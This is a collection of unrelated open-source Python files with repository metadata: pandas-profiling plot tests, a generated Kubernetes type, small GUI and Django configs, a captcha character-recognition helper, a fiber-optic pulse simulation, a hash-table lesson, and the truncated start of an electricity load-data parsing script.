profile.config.plot.cat_freq.type = plot_type html_report = profile.to_html() assert "Category Frequency Plot" not in html_report # - Test category frequency plots color options @pytest.mark.parametrize("plot_type", ["bar", "pie"]) def test_cat_frequency_with_custom_colors(plot_type): test_data = generate_cat_data_series(pd.Series({"A": 10, "B": 10, "C": 10})) custom_colors = {"gold": "#ffd700", "b": "#0000ff", "#FF796C": "#ff796c"} profile = generate_report(test_data) profile.config.plot.cat_freq.colors = list(custom_colors.keys()) profile.config.plot.cat_freq.type = plot_type html_report = profile.to_html() for c, hex_code in custom_colors.items(): assert f"fill: {hex_code}" in html_report, f"Missing color code of {c}" def test_more_cats_than_colors(): test_data = generate_cat_data_series( pd.Series({"A": 10, "B": 10, "C": 10, "D": 10}) ) custom_colors = {"gold": "#ffd700", "b": "#0000ff", "#FF796C": "#ff796c"} profile = generate_report(test_data) profile.config.plot.cat_freq.colors = list(custom_colors.keys()) html_report = profile.to_html() assert "Category Frequency Plot" in html_report # just check that it worked # - Test exceptions @pytest.mark.parametrize("data", [dummy_bool_data, dummy_cat_data], ids=["bool", "cat"]) def test_exception_with_invalid_cat_freq_type(data): profile = generate_report(data) profile.config.plot.cat_freq.type = "box" with pytest.raises(ValueError): profile.to_html()

2,393

0

200

19c0dcfcf71c786d0e728ea04aa90bc833d7ee70

353

py

Python

kubernetes_typed/client/models/v1_subject_access_review_status.py

nikhiljha/kubernetes-typed

4f4b969aa400c88306f92560e56bda6d19b2a895

[ "Apache-2.0" ]

22

2020-12-10T13:06:02.000Z

2022-02-13T21:58:15.000Z

kubernetes_typed/client/models/v1_subject_access_review_status.py

nikhiljha/kubernetes-typed

4f4b969aa400c88306f92560e56bda6d19b2a895

[ "Apache-2.0" ]

4

2021-03-08T07:06:12.000Z

2022-03-29T23:41:45.000Z

kubernetes_typed/client/models/v1_subject_access_review_status.py

nikhiljha/kubernetes-typed

4f4b969aa400c88306f92560e56bda6d19b2a895

[ "Apache-2.0" ]

2

2021-09-05T19:18:28.000Z

2022-03-14T02:56:17.000Z

# Code generated by `typeddictgen`. DO NOT EDIT. """V1SubjectAccessReviewStatusDict generated type.""" from typing import TypedDict V1SubjectAccessReviewStatusDict = TypedDict( "V1SubjectAccessReviewStatusDict", { "allowed": bool, "denied": bool, "evaluationError": str, "reason": str, }, total=False, )

23.533333

53

0.66289

# Code generated by `typeddictgen`. DO NOT EDIT. """V1SubjectAccessReviewStatusDict generated type.""" from typing import TypedDict V1SubjectAccessReviewStatusDict = TypedDict( "V1SubjectAccessReviewStatusDict", { "allowed": bool, "denied": bool, "evaluationError": str, "reason": str, }, total=False, )

0

b544a2e462706d7df03ff44b7026a01ff5eb4a79

793

py

Python

frontend/GUI/ROOT_AND_MAIN/setup.py

Lucianofc138/smart_scheduler_usm

0ac50d71cfd1947b889a9551c31a3a67ecabfb88

[ "MIT" ]

null

frontend/GUI/ROOT_AND_MAIN/setup.py

Lucianofc138/smart_scheduler_usm

0ac50d71cfd1947b889a9551c31a3a67ecabfb88

[ "MIT" ]

null

frontend/GUI/ROOT_AND_MAIN/setup.py

Lucianofc138/smart_scheduler_usm

0ac50d71cfd1947b889a9551c31a3a67ecabfb88

[ "MIT" ]

null

from ROOT_AND_MAIN.widgets import Root_and_main import ROOT_AND_MAIN.USER_WINDOW.setup as user_window import ROOT_AND_MAIN.SCHEDULE_WINDOW.setup as schedule_window import ROOT_AND_MAIN.SUBJECT_WINDOW.setup as subject_window

41.736842

74

0.828499

from ROOT_AND_MAIN.widgets import Root_and_main import ROOT_AND_MAIN.USER_WINDOW.setup as user_window import ROOT_AND_MAIN.SCHEDULE_WINDOW.setup as schedule_window import ROOT_AND_MAIN.SUBJECT_WINDOW.setup as subject_window def setup(): root_and_main_container = Root_and_main() window1 = user_window.setup(root_and_main_container.window_manager) window2 = subject_window.setup(root_and_main_container.window_manager) window3 = subject_window.setup(root_and_main_container.window_manager) root_and_main_container.window_manager.add(window1, text="Usuario") root_and_main_container.window_manager.add(window2, text="Ramos") root_and_main_container.window_manager.add(window3, text="Horarios") root_and_main_container.grid() root_and_main_container.run()

546

0

23

03499f5a2ea02a4b486f32f1e63da88f63254da4

195

py

Python

opinionated_reporting/apps.py

jobelenus/opinionated-reporting

7b41f479e7aa8d9bd9a374f0799df92d430b7a6f

[ "MIT" ]

null

opinionated_reporting/apps.py

jobelenus/opinionated-reporting

7b41f479e7aa8d9bd9a374f0799df92d430b7a6f

[ "MIT" ]

null

opinionated_reporting/apps.py

jobelenus/opinionated-reporting

7b41f479e7aa8d9bd9a374f0799df92d430b7a6f

[ "MIT" ]

null

from django.apps import AppConfig

24.375

44

0.779487

from django.apps import AppConfig class OpinionatedReportingConfig(AppConfig): name = 'opinionated_reporting' verbose_name = "Opinionated Reporting" label = 'opinionated_reporting'

0

137

23

387e5fec290d4d08ed77489ba1f209a4ea4dd5b0

3,411

py

Python

cap_extra/recognise.py

Apkawa/simple-captcha-ocr-opencv

b0c20c8cac75feac1d10b21b99629ac5d66cd744

[ "MIT" ]

1

2015-12-29T09:52:58.000Z

cap_extra/recognise.py

Apkawa/simple-captcha-ocr-opencv

b0c20c8cac75feac1d10b21b99629ac5d66cd744

[ "MIT" ]

null

cap_extra/recognise.py

Apkawa/simple-captcha-ocr-opencv

b0c20c8cac75feac1d10b21b99629ac5d66cd744

[ "MIT" ]

null

""" Copyright 2011 Dmitry Nikulin This file is part of Captchure. Captchure is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Captchure is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Captchure. If not, see <http://www.gnu.org/licenses/>. """ import cv from pyfann import libfann from cvext import copyTo from general import argmax

33.441176

85

0.625916

""" Copyright 2011 Dmitry Nikulin This file is part of Captchure. Captchure is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Captchure is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Captchure. If not, see <http://www.gnu.org/licenses/>. """ import cv from pyfann import libfann from cvext import copyTo from general import argmax def loadAnn(ann_file): ann = libfann.neural_net() ann.create_from_file(ann_file) return ann def flattenImage(image): lst = [] for y in range(image.height): for x in range(image.width): n = image[y, x] / 127.5 - 1.0 lst.append(n) return lst def resizeNaive(image, size): result = cv.CreateImage(size, cv.IPL_DEPTH_8U, 1) cv.Resize(image, result, cv.CV_INTER_CUBIC) return result def resizeProp(image, (segW, segH)): result = cv.CreateImage((segW, segH), image.depth, image.nChannels) cv.Zero(result) if image.width <= segW and image.height <= segH: offW = (segW - image.width) / 2 offH = (segH - image.height) / 2 copyTo(image, result, (offW, offH), None) else: scaleW = float(segW) / float(image.width) newH = image.height * scaleW if newH <= segH: offH = (segH - newH) / 2.0 rect = (0, int(offH), segW, int(newH)) else: scaleH = float(segH) / float(image.height) newW = image.width * scaleH offW = (segW - newW) / 2.0 rect = (int(offW), 0, int(newW), segH) cv.SetImageROI(result, rect) cv.Resize(image, result, cv.CV_INTER_CUBIC) cv.ResetImageROI(result) return result def resizeFit(image, (segW, segH)): result = cv.CreateImage((segW, segH), image.depth, image.nChannels) cv.Zero(result) if image.width > segW: if image.height > segH: cv.Resize(image, result, cv.CV_INTER_CUBIC) else: temp = cv.CreateImage((segW, image.height), image.depth, image.nChannels) cv.Resize(image, temp, cv.CV_INTER_CUBIC) offH = (segH - image.height) / 2 copyTo(temp, result, (0, offH), None) else: if image.height > segH: temp = cv.CreateImage((image.width, segH), image.depth, image.nChannels) cv.Resize(image, temp, cv.CV_INTER_CUBIC) offW = (segW - image.width) / 2 copyTo(temp, result, (offW, 0), None) else: offW = (segW - image.width) / 2 offH = (segH - image.height) / 2 copyTo(image, result, (offW, offH), None) return result def recogniseChar(image, ann, charset): result = ann.run(flattenImage(image)) return charset[argmax(result)] def defaultRecognise(segments, addr, extras, ann, size, charset, resizer): segments = map(lambda seg: resizer(seg, size), segments) return "".join(map(lambda seg: recogniseChar(seg, ann, charset), segments))

2,431

0

161

2786aa1d3ee81948426359f764eacbd85e2371ee

128

py

Python

src/main.py

pffijt/canopen-project

08922a7e2ee7ee3f76b0a15e14df40e338c597da

[ "MIT" ]

null

src/main.py

pffijt/canopen-project

08922a7e2ee7ee3f76b0a15e14df40e338c597da

[ "MIT" ]

null

src/main.py

pffijt/canopen-project

08922a7e2ee7ee3f76b0a15e14df40e338c597da

[ "MIT" ]

null

import canopen network = canopen.Network() network.connect(channel='can0', bustype='socketcan') node = network.add_node(6, '')

21.333333

52

0.742188

import canopen network = canopen.Network() network.connect(channel='can0', bustype='socketcan') node = network.add_node(6, '')

0

494781a2b687058b1ee71c63ce31988e72495630

1,950

py

Python

tests/direct_modulation.py

curio-sitas/fiber-nlse

41cda9a85705a5a0a29db1c7ab0cbcd4cca35674

[ "MIT" ]

null

tests/direct_modulation.py

curio-sitas/fiber-nlse

41cda9a85705a5a0a29db1c7ab0cbcd4cca35674

[ "MIT" ]

null

tests/direct_modulation.py

curio-sitas/fiber-nlse

41cda9a85705a5a0a29db1c7ab0cbcd4cca35674

[ "MIT" ]

null

#%% import numpy as np import sys import pylab as plt sys.path.append('../') from fiber_nlse.fiber_nlse import * # Physical units & constants nm = 1e-9 ps = 1e-12 km = 1e3 mW = 1e-3 GHz = 1e9 Thz = 1e12 m = 1 W = 1 c = 3e8 # Simulation metrics N_t = 2000 N_z = 1000 # Physical parameters # Source T = 500*ps λ = 1550 * nm P0 = 490 * mW f0 = 10 * GHz # Fiber α = 0.046 / km γ = 10.1 / W / km γ2 = 1.1 / W / km L2 = 5000 * m L = 0 * m D = -0.8 * ps / nm /km D2 = - 20 * ps / nm / km β2 = - D*λ**2/(2*np.pi*c) # dispersion β2_2 = - D2*λ**2/(2*np.pi*c) # dispersion τ0 = 10*ps # pulse FWHM fib = Fiber(L, α, β2, γ) # create fiber sim = SegmentSimulation(fib, N_z, N_t, direct_modulation, T) # simulate on the fiber portion t, U = sim.run() # perform simulation Pmatrix = np.abs(U)**2 fib2 = Fiber(L2, α, β2_2, γ2) sim2 = SegmentSimulation(fib2, N_z, N_t, lambda x : U[-1,:], T) # simulate on the fiber portion t, U2 = sim2.run() # perform simulation Pmatrix = np.abs(np.vstack((U, U2)))**2/mW # compute optical power matrix #%% plt.figure() plt.title(r'Pulse progagation with dipsersion') plt.imshow(Pmatrix, aspect='auto', extent=[-T/2/ps, T/2/ps, L/km, 0]) plt.tight_layout() plt.xlabel(r'Local time [ns]') plt.ylabel(r'Distance [km]') cb = plt.colorbar() cb.set_label(r'Optical power [mW]') plt.show() # %% plt.figure() plt.title(r'Pulse propagation with dispersion') plt.plot(t/ps,np.unwrap(np.angle(np.fft.fftshift(np.fft.fft(U[0,:])))), label=r'Pulse at z={:.2f} km'.format(0)) plt.plot(t/ps,np.unwrap(np.angle(np.fft.fftshift(np.fft.fft(U[-1,:])))), label=r'Pulse at z={:.2f} km'.format(L/km)) plt.grid() plt.legend() plt.ylabel(r'Optical phase [rad]') plt.xlabel(r'Local time [ns]') plt.tight_layout() plt.show() # %% plt.plot(Pmatrix[-1,:]) plt.plot(Pmatrix[0,:]) plt.show() # %%

20.744681

116

0.637949

#%% import numpy as np import sys import pylab as plt sys.path.append('../') from fiber_nlse.fiber_nlse import * # Physical units & constants nm = 1e-9 ps = 1e-12 km = 1e3 mW = 1e-3 GHz = 1e9 Thz = 1e12 m = 1 W = 1 c = 3e8 # Simulation metrics N_t = 2000 N_z = 1000 # Physical parameters # Source T = 500*ps λ = 1550 * nm P0 = 490 * mW f0 = 10 * GHz # Fiber α = 0.046 / km γ = 10.1 / W / km γ2 = 1.1 / W / km L2 = 5000 * m L = 0 * m D = -0.8 * ps / nm /km D2 = - 20 * ps / nm / km β2 = - D*λ**2/(2*np.pi*c) # dispersion β2_2 = - D2*λ**2/(2*np.pi*c) # dispersion τ0 = 10*ps # pulse FWHM def gaussian_pulse(t): return np.sqrt(P0)*np.exp(-((t-T/2)/(2*τ0))**2) def direct_modulation(t): return np.sqrt(P0)*np.cos(2*np.pi*f0*t) fib = Fiber(L, α, β2, γ) # create fiber sim = SegmentSimulation(fib, N_z, N_t, direct_modulation, T) # simulate on the fiber portion t, U = sim.run() # perform simulation Pmatrix = np.abs(U)**2 fib2 = Fiber(L2, α, β2_2, γ2) sim2 = SegmentSimulation(fib2, N_z, N_t, lambda x : U[-1,:], T) # simulate on the fiber portion t, U2 = sim2.run() # perform simulation Pmatrix = np.abs(np.vstack((U, U2)))**2/mW # compute optical power matrix #%% plt.figure() plt.title(r'Pulse progagation with dipsersion') plt.imshow(Pmatrix, aspect='auto', extent=[-T/2/ps, T/2/ps, L/km, 0]) plt.tight_layout() plt.xlabel(r'Local time [ns]') plt.ylabel(r'Distance [km]') cb = plt.colorbar() cb.set_label(r'Optical power [mW]') plt.show() # %% plt.figure() plt.title(r'Pulse propagation with dispersion') plt.plot(t/ps,np.unwrap(np.angle(np.fft.fftshift(np.fft.fft(U[0,:])))), label=r'Pulse at z={:.2f} km'.format(0)) plt.plot(t/ps,np.unwrap(np.angle(np.fft.fftshift(np.fft.fft(U[-1,:])))), label=r'Pulse at z={:.2f} km'.format(L/km)) plt.grid() plt.legend() plt.ylabel(r'Optical phase [rad]') plt.xlabel(r'Local time [ns]') plt.tight_layout() plt.show() # %% plt.plot(Pmatrix[-1,:]) plt.plot(Pmatrix[0,:]) plt.show() # %%

102

0

46

0c92987e9c275e624130aae8842a6cf51f12a3ef

1,022

py

Python

ProgramFlow/dictandsets/atrocias_hash.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

ProgramFlow/dictandsets/atrocias_hash.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

ProgramFlow/dictandsets/atrocias_hash.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

data = [ ("orange", "a sweet, orange, citrus fruit"), ("apple", "good for making cider"), ("lemon", "a sour, yellow citrus fruit"), ("grape", "a small, sweet fruit growing in bunches"), ("melon", "sweet and juicy"), ] # Convert to ASCII chars # print(ord("a")) # print(ord("b")) # print(ord("z")) def simple_hash(s: str) -> int: """A ridiculously simple hashing function""" basic_hash = ord(s[0]) return basic_hash % 10 def get(k: str) -> int: """ return value of the kry :param k: the key :return: `int if found else None` """ hash_code = simple_hash(k) if values[hash_code]: return values[hash_code] else: return None for key, value in data: h = simple_hash(key) # h = hash(key) print(key, h) keys = [""] * 10 values = keys.copy() for key, value in data: h = simple_hash(key) print(key, h) # add in hash keys keys[h] = key values[h] = value print(keys) print(values) print() print(get('lemon'))

18.25

57

0.581213

data = [ ("orange", "a sweet, orange, citrus fruit"), ("apple", "good for making cider"), ("lemon", "a sour, yellow citrus fruit"), ("grape", "a small, sweet fruit growing in bunches"), ("melon", "sweet and juicy"), ] # Convert to ASCII chars # print(ord("a")) # print(ord("b")) # print(ord("z")) def simple_hash(s: str) -> int: """A ridiculously simple hashing function""" basic_hash = ord(s[0]) return basic_hash % 10 def get(k: str) -> int: """ return value of the kry :param k: the key :return: `int if found else None` """ hash_code = simple_hash(k) if values[hash_code]: return values[hash_code] else: return None for key, value in data: h = simple_hash(key) # h = hash(key) print(key, h) keys = [""] * 10 values = keys.copy() for key, value in data: h = simple_hash(key) print(key, h) # add in hash keys keys[h] = key values[h] = value print(keys) print(values) print() print(get('lemon'))

0

8878ea06ed16bfc83674cc952a9a3d0d1d2ecfa0

198,392

py

Python

temporary/ferc_util_prep.py

mdbartos/RIPS

ab654138ccdcd8cb7c4ab53092132e0156812e95

[ "MIT" ]

1

2021-04-02T03:05:55.000Z

temporary/ferc_util_prep.py

mdbartos/RIPS

ab654138ccdcd8cb7c4ab53092132e0156812e95

[ "MIT" ]

2

2015-05-13T23:35:43.000Z

2015-05-22T00:51:23.000Z

temporary/ferc_util_prep.py

mdbartos/RIPS

ab654138ccdcd8cb7c4ab53092132e0156812e95

[ "MIT" ]

2

2015-05-13T23:29:03.000Z

2015-05-21T22:50:15.000Z

import numpy as np import pandas as pd import os import datetime homedir = os.path.expanduser('~') datadir = 'github/RIPS_kircheis/data/eia_form_714/processed/' fulldir = homedir + '/' + datadir # li = [] # for d1 in os.listdir('.'): # for fn in os.listdir('./%s' % d1): # li.append(fn) # dir_u = pd.Series(li).str[:-2].order().unique() ###### NPCC # BECO: 54913 <- 1998 # BHE: 1179 # CELC: 1523 <- 2886 # CHGE: 3249 # CMP: 3266 # COED: 4226 # COEL: 4089 -> IGNORE # CVPS: 3292 # EUA: 5618 # GMP: 7601 # ISONY: 13501 # LILC: 11171 <- 11172 # MMWE: 11806 # NEES: 13433 # NEPOOL: 13435 # NMPC: 13573 # NU: 13556 # NYPA: 15296 # NYPP: 13501 # NYS: 13511 # OR: 14154 # RGE: 16183 # UI: 19497 npcc = { 54913 : { 1993 : pd.read_fwf('%s/npcc/1993/BECO93' % (fulldir), header=None, skipfooter=1).loc[:, 2:].values.ravel(), 1994 : pd.read_csv('%s/npcc/1994/BECO94' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[4].values, 1995 : pd.read_csv('%s/npcc/1995/BECO95' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values, 1996 : pd.read_csv('%s/npcc/1996/BECO96' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values, 1997 : pd.read_csv('%s/npcc/1997/BECO97' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[4].values, 1998 : pd.read_csv('%s/npcc/1998/BECO98' % (fulldir), sep =' ', skipinitialspace=True, header=None)[4].values, 1999 : pd.read_csv('%s/npcc/1999/BECO99' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2000 : pd.read_csv('%s/npcc/2000/BECO00' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2001 : pd.read_csv('%s/npcc/2001/BECO01' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2002 : pd.read_csv('%s/npcc/2002/BECO02' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2003 : pd.read_csv('%s/npcc/2003/BECO03' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2004 : pd.read_csv('%s/npcc/2004/BECO04' % (fulldir), sep =' ', skipinitialspace=True, header=None, skiprows=3)[4].values }, 1179 : { 1993 : pd.read_csv('%s/npcc/1993/BHE93' % (fulldir), sep=' ', skiprows=2, skipinitialspace=True).loc[:, '0000':].values.ravel(), 1994 : pd.read_csv('%s/npcc/1994/BHE94' % (fulldir)).dropna(how='all').loc[:729, '1/13':'12/24'].values.ravel(), 1995 : (pd.read_fwf('%s/npcc/1995/BHE95' % (fulldir)).loc[:729, '1/13':'1224'].astype(float)/10).values.ravel(), 2001 : pd.read_excel('%s/npcc/2001/BHE01' % (fulldir), skiprows=2).iloc[:, 1:24].values.ravel(), 2003 : pd.read_excel('%s/npcc/2003/BHE03' % (fulldir), skiprows=3).iloc[:, 1:24].values.ravel() }, 1523 : { 1999 : pd.read_csv('%s/npcc/1999/CELC99' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2000 : pd.read_csv('%s/npcc/2000/CELC00' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2001 : pd.read_csv('%s/npcc/2001/CELC01' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2002 : pd.read_csv('%s/npcc/2002/CELC02' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2003 : pd.read_csv('%s/npcc/2003/CELC03' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values, 2004 : pd.read_csv('%s/npcc/2004/CELC04' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values }, 3249 : { 1993 : pd.read_csv('%s/npcc/1993/CHGE93' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[2].values, 1994 : pd.read_fwf('%s/npcc/1994/CHGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(float).values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/CHGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/CHGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(float).values.ravel(), 1997 : pd.read_csv('%s/npcc/1997/CHGE97' % (fulldir), sep ='\s', skipinitialspace=True, header=None, skipfooter=1).iloc[:, 4:].values.ravel(), 1998 : pd.read_excel('%s/npcc/1998/CHGE98' % (fulldir), skipfooter=1, header=None).iloc[:, 2:].values.ravel(), }, 3266 : { 1993 : pd.read_fwf('%s/npcc/1993/CMP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/npcc/1994/CMP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/CMP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/CMP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/npcc/1997/CMP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/npcc/1999/CMP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/npcc/2002/CMP02' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 2003 : pd.read_fwf('%s/npcc/2003/CMP03' % (fulldir), header=None).iloc[:, 1:].values.ravel() }, 4226 : { 1993 : pd.read_csv('%s/npcc/1993/COED93' % (fulldir), skipfooter=1, skiprows=11, header=None, skipinitialspace=True, sep=' ')[2].values, 1994 : pd.read_fwf('%s/npcc/1994/COED94' % (fulldir), skipfooter=1, header=None)[1].values, 1995 : pd.read_csv('%s/npcc/1995/COED95' % (fulldir), skiprows=3, header=None), 1996 : pd.read_excel('%s/npcc/1996/COED96' % (fulldir)).iloc[:, -1].values.ravel(), 1997 : pd.read_excel('%s/npcc/1997/COED97' % (fulldir), skiprows=1).iloc[:, -1].values.ravel(), 1998 : pd.read_excel('%s/npcc/1998/COED98' % (fulldir), skiprows=1).iloc[:, -1].values.ravel(), 1999 : pd.read_csv('%s/npcc/1999/COED99' % (fulldir), skiprows=1, sep='\t').iloc[:, -1].str.replace(',', '').astype(int).values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/COED00' % (fulldir), sep='\t')[' Load '].dropna().str.replace(',', '').astype(int).values.ravel(), 2001 : pd.read_csv('%s/npcc/2001/COED01' % (fulldir), sep='\t', skipfooter=1)['Load'].dropna().str.replace(',', '').astype(int).values.ravel(), 2002 : pd.read_csv('%s/npcc/2002/COED02' % (fulldir), sep='\t', skipfooter=1, skiprows=1)['Load'].dropna().str.replace(',', '').astype(int).values.ravel(), 2003 : pd.read_csv('%s/npcc/2003/COED03' % (fulldir), sep='\t')['Load'].dropna().astype(int).values.ravel(), 2004 : pd.read_csv('%s/npcc/2004/COED04' % (fulldir), header=None).iloc[:, -1].str.replace('[A-Z,]', '').str.replace('\s', '0').astype(int).values.ravel() }, 4089 : { 1993 : pd.read_fwf('%s/npcc/1993/COEL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/COEL95' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/npcc/1996/COEL96' % (fulldir), sep=' ', skipinitialspace=True, header=None)[3].values, 1997 : pd.read_csv('%s/npcc/1997/COEL97' % (fulldir), sep=' ', skipinitialspace=True, header=None)[4].values, 1998 : pd.read_csv('%s/npcc/1998/COEL98' % (fulldir), sep=' ', skipinitialspace=True, header=None)[4].values, 1999 : pd.read_csv('%s/npcc/1999/COEL99' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2000 : pd.read_csv('%s/npcc/2000/COEL00' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2001 : pd.read_csv('%s/npcc/2001/COEL01' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2002 : pd.read_csv('%s/npcc/2002/COEL02' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2003 : pd.read_csv('%s/npcc/2003/COEL03' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values, 2004 : pd.read_csv('%s/npcc/2004/COEL04' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values }, 3292 : { 1995 : pd.read_fwf('%s/npcc/1995/CVPS95' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/npcc/1996/CVPS96' % (fulldir), header=None, skipfooter=1)[1].values, 1997 : pd.read_csv('%s/npcc/1997/CVPS97' % (fulldir), header=None)[2].values, 1998 : pd.read_csv('%s/npcc/1998/CVPS98' % (fulldir), header=None, skipfooter=1)[4].values, 1999 : pd.read_csv('%s/npcc/1999/CVPS99' % (fulldir))['Load'].values }, 5618 : { 1993 : pd.read_fwf('%s/npcc/1993/EUA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/npcc/1994/EUA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/EUA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/EUA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/npcc/1997/EUA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/npcc/1999/EUA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 7601 : { 1993 : pd.read_csv('%s/npcc/1993/GMP93' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=4)[0].replace('MWH', '0').astype(float).values.ravel(), 1994 : pd.read_fwf('%s/npcc/1994/GMP94' % (fulldir), header=None)[0].values, 1995 : pd.read_csv('%s/npcc/1995/GMP95' % (fulldir), sep=' ', skipinitialspace=True, header=None)[0].values, 1996 : pd.read_csv('%s/npcc/1996/GMP96' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].values, 1997 : pd.read_csv('%s/npcc/1997/GMP97' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].values, 1998 : pd.read_csv('%s/npcc/1998/GMP98' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].astype(str).str[:3].astype(float).values, 1999 : pd.read_csv('%s/npcc/1999/GMP99' % (fulldir), sep=' ', skipinitialspace=True, header=None, skipfooter=1).iloc[:8760, 0].values, 2002 : pd.read_excel('%s/npcc/2002/GMP02' % (fulldir), skiprows=6, skipfooter=1).iloc[:, 0].values, 2003 : pd.read_excel('%s/npcc/2003/GMP03' % (fulldir), skiprows=6, skipfooter=1).iloc[:, 0].values, 2004 : pd.read_csv('%s/npcc/2004/GMP04' % (fulldir), skiprows=13, sep='\s').iloc[:, 0].values }, 13501 : { 2002 : pd.read_csv('%s/npcc/2002/ISONY02' % (fulldir), sep='\t')['mw'].values, 2003 : pd.read_excel('%s/npcc/2003/ISONY03' % (fulldir))['Load'].values, 2004 : pd.read_excel('%s/npcc/2004/ISONY04' % (fulldir)).loc[:, 'HR1':].values.ravel() }, 11171 : { 1994 : pd.read_fwf('%s/npcc/1994/LILC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/LILC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/npcc/1997/LILC97' % (fulldir), skiprows=4, widths=[8,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), }, 11806 : { 1998 : pd.read_fwf('%s/npcc/1998/MMWE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1999 : 